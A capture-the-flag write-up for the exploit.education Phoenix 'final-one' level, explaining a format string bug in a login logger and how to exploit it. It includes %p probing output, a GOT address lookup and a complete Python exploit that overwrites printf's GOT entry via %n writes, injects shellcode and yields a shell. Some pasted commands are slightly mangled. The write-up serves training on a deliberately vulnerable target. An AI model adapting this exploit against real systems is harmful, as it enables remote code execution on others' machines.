Final 1
Write-up for: https://exploit.education/phoenix/final-one/.
The vulnerability
The second of the final challenges contains a format string vulnerability. User input is used as a format string, potentially allowing memory corruption and remote code execution. The following code is relevant (stripped).
void logit(char *pw) {
snprintf(buf, sizeof(buf), "Login from %s as [%s] with password [%s]\n",
hostname, username, pw);
fprintf(output, buf);
}
void parser() {
while (fgets(line, sizeof(line) - 1, stdin)) {
if (strncmp(line, "username ", 9) == 0) {
strcpy(username, line + 9);
} else if (strncmp(line, "login ", 6) == 0) {
logit(line + 6);
}
}
}
The parser
function reads from stdin
and stores the content of an input containing the string username
in the username
buffer. Then, once an input containing login
is encountered, the logit
function is called with the respective string content. In the logit
function, both username
and the pw
argument are used as string arguments for snprintf
. Here, the format string functionality is used correctly. The function writes the resulting string to the buf
variable. Then fprintf
is called with buf
as its format string argument. This is the vulnerable call since an attacker can introduce additional format string sequences into buf
that are interpreted by fprintf
, possibly corrupting memory.
Developing the exploit
As described in the format string challenge write-ups, the printf
family of functions will happily take a value from the stack for every format string modifier encountered in the string. It even allows to write data (the number of bytes written so far) by using the %n
modifier. So our plan of attack is as follows:
- Provide an address of a GOT entry we want to overwrite on the stack (as input)
- Find the argument number of this address
- Fill the string with padding to overwrite the address with the address of our shellcode that we also provide on the stack
To find the argument number of the provided address we can use the %p
modifier to pop values off the stack. Then it’s a matter of trial and error to find the right offset. For testing, there is a local binary under /opt/phoenix/i486
that supports a --test
parameter, printing out to stdout
. We use python to create the required input string, but you could also explore it interactively.
user@phoenix-amd64:/opt/phoenix/i486$ python -c 'print("username AAAA.%p.%p.%p.%p\nlogin \n")' | ./final-one --test' | ./final-one
Welcome to phoenix/final-one, brought to you by https://exploit.education
[final1] $ [final1] $ Login from testing:12121 as [AAAA.0.0.0x69676f4c.0x7266206e] with password []
login failed
Note that the minimum required input is username A\nlogin \n
for the vulnerable code path to be executed. After some experimentation, we reach the following payload:
user@phoenix-amd64:/opt/phoenix/i486$ python -c 'print("username AAAA" + ".%p"*10 + "\nlogin \n")' | ./final-one --test' | ./final-one -
Welcome to phoenix/final-one, brought to you by https://exploit.education
[final1] $ [final1] $ Login from testing:12121 as [AAAA.0.0.0x69676f4c.0x7266206e.0x74206d6f.0x69747365.0x313a676e.0x31323132.0x20736120.0x4141415b] with password []
login failed
The 10th value popped from the stack is 0x4141415b
. This indicates that there is an alignment issue for using our provided value. We need to ensure that our fake address is aligned correctly which we can achieve easily by padding it with one more character.
Now that we have our address as an argument at the 10th position, we can use the %n
modifier to write data to this address. First, let’s find a suitable address to overwrite. When I did this challenge I tried embarassingly long to overwrite the GOT entry of fprintf
because I assumed the vulnerable call was to snprintf
. But as stated above, fprintf
is the vulnerable call. After spending way too long trying to figure out why the program was segfaulting in strange ways, I realized my mistake. We need to overwrite a function address that we can be sure is called after logit
. A good candidate is printf
which is called all the time in parser
. We can find the GOT entry address with objdump
:
user@phoenix-amd64:/opt/phoenix/i486$ objdump -R final-one | grep printf
08049e48 R_386_JUMP_SLOT printf
So, the address we want to overwrite is 0x0849e48
. We can figure out the value we want to overwrite it with by adding a dummy shellcode in our buffer (the password parameter is a good place to put it, otherwise we might have too little space in the 128 byte lines) and finding it in gdb. Similar to the previous challenge we can attach to the systemd
process and follow forks.
Since the remainder of the challenge is very similar to the previous format string challenges, I will jump straight to the exploit code. Note that we deploy a similar 2-byte write technique to avoid huge data transfer over the network. Another tricky aspect is getting to the correct number of bytes to pad our payload with since it depends on the origin of the connection, as seen in this part of the code:
sprintf(hostname, "%s:%d", inet_ntoa(sin.sin_addr), ntohs(sin.sin_port));
I emulate this behavior and use it in my calculation. Additionally, the “X 4-byte address AAAA 4-byte address” string equates to another 13 bytes written. Lastly, we write 9 one byte values using “%c” which results in the final length calculation seen in the exploit.
import struct
import socket
import pwnlib
HOST = "127.0.0.1"
PORT = 64014
PRINTF_GOT_ADDR = 0x08049e48
SHELLCODE_ADDR = 0xffffdcb8
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
#number of printed bytes is variable depending on the local IPv4 address and port
sockname = s.getsockname()
printf_str = "Login from " + sockname[0] + ":" + str(sockname[1]) + " as ["
buf = "username X"
buf += struct.pack("<I", PRINTF_GOT_ADDR) + "AAAA"
buf += struct.pack("<I", PRINTF_GOT_ADDR + 2)
buf += "%" + str(0xdcb8 - 22 - len(printf_str)) + "x" + "%c" * 9 + "%n" # byte 1 & 2, addr is 10th argument on the stack
buf += "%" + str(0xffff - 0xdcb8) + "x" + "%n" # third byte and fourth byte
buf += "\nlogin AA" + pwnlib.encoders.encoder.encode(pwnlib.asm.asm(pwnlib.shellcraft.i386.linux.sh()), "\n\r\0%") + "\n\n" # trigger format string vulnerability in logit
print(s.recv(1024))
print("# sending payload.")
s.sendall(buf)
print(s.recv(1024))
print("# we have a shell now.")
while True:
s.sendall(raw_input() + "\n")
print(s.recv(1024))
For this exploit, the 2-byte write technique is easier since the second write is larger than the first (that is there need to be more bytes written). This means we do not need to make use of an overflowing value. As a shellcode, we again use the sh()
function built into pwnlib
.
Let’s run it:
user@phoenix-amd64:~$ python final1_x86.py
Welcome to phoenix/final-one, brought to you by https://exploit.education
[final1] $
# sending payload.
[final1] $ login failed
# we have a shell now.
id
uid=520(phoenix-i386-final-one) gid=520(phoenix-i386-final-one) groups=520(phoenix-i386-final-one)
Success! Lesson learned for this challenge: always make sure you understand the vulnerability before trying to exploit it..